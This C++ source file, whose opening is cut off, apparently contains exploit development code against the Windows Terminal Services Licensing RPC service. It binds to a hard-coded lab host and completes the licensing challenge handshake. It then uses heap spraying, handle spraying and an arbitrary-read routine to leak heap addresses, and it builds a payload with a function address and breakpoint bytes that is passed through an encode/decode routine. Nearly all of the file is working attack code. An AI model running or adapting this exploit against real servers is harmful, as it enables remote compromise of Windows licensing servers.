			auto Hanles = g_handleLists[i];

			if (padding)
			{
				DWORD pdwErrCode = 0;
				TLSRpcGetServerName(Hanles, serverName, &serverNameLen, &pdwErrCode);

				if (pdwErrCode == 0)
				{
					continue;
				}
			}

			RpcTryExcept
			{ 
				DWORD pdwErrCode = 0;
				BYTE* pbChallengeData = 0;

				DWORD cbChallengeData = 0x100;
				TLSRpcRequestTermServCert(Hanles, &hydra_cert_request, &cbChallengeData, &pbChallengeData, &pdwErrCode);
				std::cout << pdwErrCode << "\n";
		
			/*	cbCert = sizeof(pbCert);	
				memset(pbCert, 'b', 0x10);

				memset(pbResponseData, 'a', 0x10);*/

				auto st = TLSRpcRetrieveTermServCert(Hanles, sizeof(pbResponseData), pbResponseData, &cbCert, (PBYTE*)pbCert, &pdwErrCode);
				std::cout << "TLSRpcRetrieveTermServCert " << st << "\n";
			
				for (size_t i = 0; i < sizeof(pbCert); i++)
				{
					std::wcout << (wchar_t)pbCert[i];
				}
				std::cout << std::endl;
			

//				if (memcmp(pbCert, ncacn, 10) != 0)
				{
				//	g_handleLists.erase(std::remove(g_handleLists.begin(), g_handleLists.end(), Hanles), g_handleLists.end());

					if (leak_idx == 99990)
					{
						if (leakHeapBaseOffset)
						{
							for (size_t j = 0; j < cbCert - 6; j++)
							{
								BYTE retAddrV2[6] = { 0 };
								retAddrV2[0] = pbCert[j + 4];
								retAddrV2[1] = pbCert[j + 5];
								retAddrV2[2] = pbCert[j + 2];
								retAddrV2[3] = pbCert[j + 3];
								retAddrV2[4] = pbCert[j];
								retAddrV2[5] = pbCert[j + 1];

								retAddr = bytes_to_long(retAddrV2, 6);
								//wprintf(L"[-] %p\n", retAddr);
								if (retAddr & 0xffff == 0)
								{
									MessageBox(0, 0, 0, 0);
									return;
								}
							}
						}
						else
						{
							wprintf(L"[-] Finding leak_idx error!\n");
							return;
						}
					}
					else
					{
						if (passZero)
						{

						}
						else
						{

						}
					}
					//std::cout << "cbCert\n";
				}
				//else
				//{
				//	std::cout << "comprase\n";
				//}
				/*for (size_t i = 0; i < 4; i++)
				{
					std::cout << cbCert[i];
				}*/
				//if (cbCert[0] == 0x00 )
			}
			RpcExcept(1)
			{
				wprintf(L"Runtime: %p.\n", RpcExceptionCode());
			}
			RpcEndExcept

			if (leakHeapBaseOffset != 0)
			{
				if (count < 8)
				{
					ptrTarget = addr[count];
					needPadding = padding;
				}
				else
				{
					ptrTarget = 0xdeaddeadbeefbeef;
					needPadding = true;
				}
			}
		}

		if (leakHeapBaseOffset)
			sprayLfhChunk(0x20, 0x800);
		else
			sprayLfhChunk(0x20, 0x400);

		sprayHandles(0xc00);
		handlesFree();
	}
}

int main1()
{
	/*
	std::string rawData = "3082036406092a864886f70d010702a0820355308203510201013100300b06092a864886f70d010701a0820339308201363081e5a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a3011310f300d06035504031e06006200620062305c300d06092a864886f70d0101010500034b003048024100b122dfa634ad803cbf0c1133986e7e551a036a1dfd521cd613c4972cd6f096f2a3dd0b8f80b8a26909137225134ec9d98b3acffd79c665061368c217613aba050203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341009fd29b18115c7ef500a2ee543a4bb7528403ccb4e9fe7fe3ac2dcbf9ede68a1eca02f97c6a0f3c2384d85ab12418e523db90958978251e28d0e7903829e46723308201fb308201a9a0030201020208019e2bfac0ab6d10300906052b0e03021d05003011310f300d06035504031e06006200620062301e170d3730303630353039323731335a170d3439303630353039323731335a300d310b300906035504031302610030820122300d06092a864886f70d01010105000382010f003082010a0282010100e05a714323273db5f17c731e7db3b07397cf08a6d614484ab715793af931376622e3b86820ddb26ea763636c55092c712296da18049fd7e61b4429b1a14a85ab4567639c2d2fbc6098893ed9c553fb14f9f488f6ffa38f9ee3aaf44888981bdec21e7d617e6c7fc019e8f896098eb76470d56c4666c015f784f172aa7b4999c6fdc48e6e2a4cdaf256d69fcdd14cc82d50eb5a4e48a810679f97a5f6a933dd12e63159a72c1b3ba8c7e59af0dabdcc40f2489df6335f74614b1d2b9016644a12bce70e7470977a6e5025e9251dc4300d6ef39860cad59b06a9b81a27491e83ea826a505c3c756df9529e538259c004a832a67783893486171d3a075db49026e90203010001a3253023300f0603551d13040830060101ff020100301006082b06010401823712040401020300300906052b0e03021d05000341004b949db70bb077d19adfc707c20420afb99ae1f0a3e857ab4e3f085fe2c84b539412f4235dce03a53a43ddaa76adf7cc32e36af7b8e4e31707f881241d6bf36b3100";
	// Проходим по строке два символа за раз
	for (size_t i = 0; i < rawData.length(); i += 2) {
		// Берем два символа из строки
		std::string byteStr = rawData.substr(i, 2);

		// Преобразуем пару символов в число в шестнадцатеричном формате
		unsigned int byte;
		std::stringstream(byteStr) >> std::hex >> byte;

		// Выводим число в формате 0xXX
		std::cout << "0x" << std::setw(2) << std::setfill('0') << std::hex << byte << ", ";
	}
	*/


	pause();
}

int main()
{

	//if (((BYTE)(0x40 | 8) & 8) != 0)
	//{
	//	wprintf(L"good\n");
	//}

	//pause();
	//ConnectLsServer
	RPC_WSTR pszUuid = (RPC_WSTR)L"3d267954-eeb7-11d1-b94e-00c04fa3080d";
	RPC_WSTR pszProtSeq = (RPC_WSTR)L"ncacn_ip_tcp";
	RPC_WSTR pszTCPHost = (RPC_WSTR)L"192.168.150.128";
	RPC_WSTR pszTCPPort = (RPC_WSTR)L"49670";

	RPC_WSTR szStringBinding = NULL;

	RPC_STATUS rpcStatus = RpcStringBindingComposeW(
		pszUuid,           // UUID to bind to.
		pszProtSeq,		// Use TCP/IP protocol.
		pszTCPHost,		// TCP/IP network address to use.
		pszTCPPort,     // TCP/IP port to use.
		NULL,           // Protocol dependent network options to use.
		&szStringBinding);	// String binding output.

	if (rpcStatus != RPC_S_OK) 
	{
		wprintf(L"[-] Failed. Error: %d.\n", rpcStatus);
		pause();
	}




	// Create a valid binding handle from String
	rpcStatus = RpcBindingFromStringBindingW(
		szStringBinding,	// The string binding to validate.
		&hExplicitBinding	// Put the result in the implicit binding
	);

	if (rpcStatus != RPC_S_OK)
	{
		wprintf(L"[-] Failed RpcBindingFromStringBindingW. Error: %d.\n", rpcStatus);
		pause();
	}



	RPC_SECURITY_QOS secQos;
	secQos.Version = RPC_C_SECURITY_QOS_VERSION_1;				// use version 1 as documented at https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/ns-rpcdce-rpc_security_qos
	secQos.Capabilities = RPC_C_QOS_CAPABILITIES_MUTUAL_AUTH;	// set mutual authentication
	secQos.IdentityTracking = RPC_C_QOS_IDENTITY_DYNAMIC;		// Dynamic identitiy tracking
	//secQos.ImpersonationType = RPC_C_IMP_LEVEL_ANONYMOUS;		// ANONYMOUS Impersonation type, client does not provide authentication information, server can't obtain client's identity
	//secQos.ImpersonationType = RPC_C_IMP_LEVEL_IDENTIFY;		// IDENTIY Impersonation type, allowing the server to obtain the clien'ts identity and use it for example for ACL checks, but does not allow the server to impersonate the client
	secQos.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;		// IMPERSONATE Impersonation type, allowing the server to fully impersonate the client on the server's local system but not on remote systems
	//secQos.ImpersonationType = RPC_C_IMP_LEVEL_DELEGATE;		// DELEGATE Impersonation type, allowing the server to fully impersonate the client on the server's local system and on remote systems


	RPC_AUTH_IDENTITY_HANDLE rpcIdentity = { 0 };
	//rpcStatus = RpcBindingSetAuthInfoW(hExplicitBinding,
	//	0,
	//	RPC_C_AUTHN_LEVEL_CONNECT,
	//	RPC_C_AUTHN_WINNT,
	//	0,
	//	0);

	//rpcStatus = RpcBindingSetAuthInfo(hExplicitBinding, 0, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, 0, 0);

	//rpcStatus = RpcBindingSetAuthInfoExW(
	//	hExplicitBinding,		// the client's binding handle
	//	0,						// the server's service principale name (SPN)
	//	RPC_C_AUTHN_LEVEL_PKT,	// authentication level as defined at https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-level-constants
	//	RPC_C_AUTHN_WINNT,		// using NTLM as authentication service provider as defined at https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants
	//	NULL,					// use current thread credentials
	//	RPC_C_AUTHZ_NAME,		// authorization based on the provided SPN as defined at https://docs.microsoft.com/en-us/windows/win32/com/com-authorization-constants
	//	&secQos					// Quality of Service structure
	//);


	/*RPC_SECURITY_QOS SecurityQOS = { 0 };
	SecurityQOS.Version = 1;
	SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
	SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
	SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
	rpcStatus = RpcBindingSetAuthInfoExA(hExplicitBinding, 0, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, 0xA, 0, RPC_C_AUTHZ_NONE, &SecurityQOS);
*/

	if (rpcStatus != RPC_S_OK)
	{
		wprintf(L"[-] Failed RpcBindingSetAuthInfoW. Error: %d.\n", rpcStatus);
		pause();
	}

	//L"3d267954-eeb7-11d1-b94e-00c04fa3080d";

	GUID asd = { 0x3d267954,0xeeb7,0x11d1,{0xb9,0x4e,0x00,0xc0,0x4f,0xa3,0x08,0x0d} };

	rpcStatus = RpcBindingSetObject(hExplicitBinding, &asd);
	if (rpcStatus != RPC_S_OK)
	{
		wprintf(L"[-] Failed RpcBindingSetObject. Error: %d.\n", rpcStatus);
		pause();
	}
	
	
	RpcTryExcept
	{
		std::cout << "Good\n";
		rpcStatus = TLSRpcConnect(hExplicitBinding, &g_hContext);
		std::cout << "Good\n";
		if (rpcStatus != RPC_S_OK)
		{
			wprintf(L"TLSRpcConnect: %p.\n", rpcStatus);
			goto exit;
		}

		DWORD version = 0;
		TLSRpcGetVersion(g_hContext, &version);

		wprintf(L"[+] hContext %p\n", g_hContext);
		wprintf(L"[+] version %p\n", version);

		BYTE CHAL_DATA[0x11] = { };
		memset(CHAL_DATA, 'a', 0x10);
		CHAL_DATA[0x10] = 0;

		BYTE RESV_DATA[0x11] = { };
		memset(RESV_DATA, 'b', 0x10);
		RESV_DATA[0x10] = 0;
		
		auto ClientChallengeData = TLSCHALLENGEDATA();
		ClientChallengeData.dwVersion = 0x10000;//TLS_CURRENT_CHALLENGE_VERSION
		ClientChallengeData.dwRandom = 0x4;
		ClientChallengeData.cbChallengeData = sizeof(CHAL_DATA);
		ClientChallengeData.pbChallengeData = CHAL_DATA;
		ClientChallengeData.cbReservedData = sizeof(RESV_DATA);
		ClientChallengeData.pbReservedData = RESV_DATA;

		PTLSCHALLENGERESPONSEDATA pServerResponse = 0;
		PTLSCHALLENGEDATA pServerChallenge = 0;
		DWORD dwErrCode = 0;

		rpcStatus = TLSRpcChallengeServer(g_hContext, 0, &ClientChallengeData, &pServerResponse, &pServerChallenge, &dwErrCode);

		if (rpcStatus != RPC_S_OK)
		{
			wprintf(L"TLSRpcChallengeServer: %p.\n", rpcStatus);
			goto exit;
		}

		wprintf(L"[+] TLSRpcChallengeServer. Status: %d.\n", dwErrCode);

		auto serverGuid = L"d63a773e-6799-11d2-96ae-00c04fa3080d";


		auto dwRandom = pServerChallenge->dwRandom;

		wprintf(L"[+] dwRandom: %d.\n", dwRandom);

		auto pbChallengeData = pServerChallenge->pbChallengeData;

		wprintf(L"[+] pbChallengeData: %p.\n", pbChallengeData);
		
		size_t slice1_size = dwRandom;  
		size_t slice2_size = pServerChallenge->cbChallengeData - dwRandom;

		auto slice1 = (BYTE*)malloc(slice1_size);
		auto slice2 = (BYTE*)malloc(slice2_size);

		//(pbChallengeData[:dwRandom])
		std::memcpy(slice1, pbChallengeData, slice1_size);

		//(pbChallengeData[dwRandom:])
		std::memcpy(slice2, pbChallengeData + dwRandom, slice2_size);

		size_t pbResponseDataBytesSize = slice1_size + slice2_size + (36 * 2);
		auto pbResponseDataBytes = (BYTE*)malloc(pbResponseDataBytesSize);
		memset(pbResponseDataBytes, 0, pbResponseDataBytesSize);

		memcpy(pbResponseDataBytes, slice1, slice1_size);
		memcpy((void*)((DWORD64)pbResponseDataBytes + slice1_size), serverGuid, 36 * 2);
		memcpy((void*)((DWORD64)pbResponseDataBytes + slice1_size + (36 * 2)), slice2, slice2_size);


		auto pbResponseDataBytesCrypt = MD5(pbResponseDataBytes, pbResponseDataBytesSize);
		auto digestMd5 = pbResponseDataBytesCrypt.getDigest();

		BYTE nullPtr[2] = { 0 };
		
		auto pClientResponse = TLSCHALLENGERESPONSEDATA();
		pClientResponse.dwVersion = 0x10000;//TLS_CURRENT_CHALLENGE_VERSION
		pClientResponse.cbResponseData = 16;
		pClientResponse.pbResponseData = (BYTE*)digestMd5;
		pClientResponse.cbReservedData = 0;
		pClientResponse.pbReservedData = nullPtr;

		//0138B
		rpcStatus = TLSRpcResponseServerChallenge(g_hContext, &pClientResponse, &dwErrCode);
		if (rpcStatus != RPC_S_OK)
		{
			wprintf(L"TLSRpcResponseServerChallenge: %p.\n", rpcStatus);
			goto exit;
		}

		system("pause");
			//PTLSCHALLENGEDATA
			///* [in] */ PCONTEXT_HANDLE phContext,
			///* [in] */ DWORD dwClientType,
			///* [ref][in] */ PTLSCHALLENGEDATA pClientChallenge,
			///* [out] */ PTLSCHALLENGERESPONSEDATA* pServerResponse,
			///* [out] */ PTLSCHALLENGEDATA* pServerChallenge,
			///* [ref][out][in] */ PDWORD pdwErrCode

		//sprayLfhChunk(0x10, 0x800);
		uint64_t heap_offset_list[] = { 0x100008, 0x100008, 0x400000, 0x600000, 0x800000, 0xb00000, 0xd00000, 0xf00000 };

		arbRead(heap_offset_list, false, false, 0x188);
	/*	DWORD dwLSRetCode = ERROR_SUCCESS;
		rpcStatus = TLSRpcRegisterLicenseKeyPack(hContext, my_cert_sig, sizeof(my_cert_sig), my_cert_sig, sizeof(my_cert_sig), TEST_RSA_PUBLIC_MSKEYBLOB, sizeof(TEST_RSA_PUBLIC_MSKEYBLOB), &dwLSRetCode);
		wprintf(L"TLSRpcRegisterLicenseKeyPack: %p %p.\n", rpcStatus, dwLSRetCode);*/
	}
	RpcExcept(1)
	{
		wprintf(L"Runtime reported exception: %p.\n", RpcExceptionCode());
	}
	RpcEndExcept

	exit:
	RpcBindingFree(&hExplicitBinding);

    std::cout << "Hello World!\n";

    pause();
}


DWORD DecodeData(BYTE* pbDecodeBuffer, TCHAR* pbEncodedData,
	LPBYTE* pbDecodedData)
	// Again, I allocate the Buffer, you release it
{

	DWORD dwReturn = ERROR_SUCCESS;
	TCHAR* tpTemp;
	DWORD dwDigit;
	unsigned int i;
	unsigned int nDecodedBytes, nDecodedBytesMax = 0;


	*pbDecodedData = NULL;


	while (*pbEncodedData)
	{
		// First Find the position of this character in the Base Encoding Character Set

		//std::wcout << (wchar_t)(*pbEncodedData) << std::endl;

		tpTemp = (TCHAR*)wcschr(m_tpBaseDigits, *pbEncodedData);
		if (tpTemp == NULL)
		{
			// Found a character which is not in base character set
			// ERROR ERROR

			std::cout << "\ninvalid\n";
			dwReturn = ERROR_INVALID_DATA;
			goto done;
		}
		dwDigit = (DWORD)(tpTemp - m_tpBaseDigits);

		nDecodedBytes = 0;
		i = (unsigned int)dwDigit;

		while (nDecodedBytes <= nDecodedBytesMax)
		{
			i += 0x18 * pbDecodeBuffer[nDecodedBytes];
			pbDecodeBuffer[nDecodedBytes] = (unsigned char)i;
			i /= 256;
			++nDecodedBytes;
		}

		if (i != 0)
		{
			pbDecodeBuffer[nDecodedBytes] = (unsigned char)i;
			nDecodedBytesMax = nDecodedBytes;
		}

		pbEncodedData++;
	}


	*pbDecodedData = pbDecodeBuffer;

done:
	if (dwReturn != ERROR_SUCCESS)
	{
		// There was an error, so free the memory that you allocated
		if (pbDecodeBuffer != NULL)
		{
			//HeapFree(GetProcessHeap(), 0, pbDecodeBuffer);
		}
	}

	return dwReturn;
}

int main2()
{
	auto buff = malloc(0x500);
	memset(buff, 0, 0x500);


	buff = (void*)((DWORD64)buff + 0x500 / 2);
	memset((void*)((DWORD64)buff + 21), 0xC3, 2);


	std::cout << (void*)buff << "\n";

	//std::cout << std::endl;

	//0x42, 0x43, 0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4D, 0x50, 0x51, 0x52, 0x54, 0x56, 0x57, 0x58, 0x59, 0x32, 0x33, 0x34, 0x36, 0x37, 0x38, 0x39,

	std::vector<uint8_t> payload;
	std::vector<uint8_t> addr_bytes = p64((DWORD64)main);
	std::vector<uint8_t> addr_bytes2 = p64(0xCCCCCCCCCCCCCCCC);
	std::vector<uint8_t> addr_bytes3 = p32(0xCCCCCCCC);
	payload.insert(payload.end(), addr_bytes2.begin(), addr_bytes2.end());
	payload.insert(payload.end(), addr_bytes2.begin(), addr_bytes2.end());
	payload.insert(payload.end(), addr_bytes3.begin(), addr_bytes3.end());
	payload.push_back(0xCC);
	payload.insert(payload.end(), addr_bytes.begin(), addr_bytes.end());

	TCHAR* pbEncodedData1 = 0;
	EncodeData((BYTE*)payload.data(), &pbEncodedData1, payload.size());


	
	auto v11 = (wchar_t*)LocalAlloc(0x40u, wcslen(pbEncodedData1) * 2 + 2);
	memcpy(v11, pbEncodedData1, wcslen(pbEncodedData1) * 2 + 2);

	uint8_t* res = 0;
	DecodeData((BYTE*)buff, (wchar_t*)v11, &res);

	std::cout << (void*)buff << " " << (void*)res;
	while (1);
}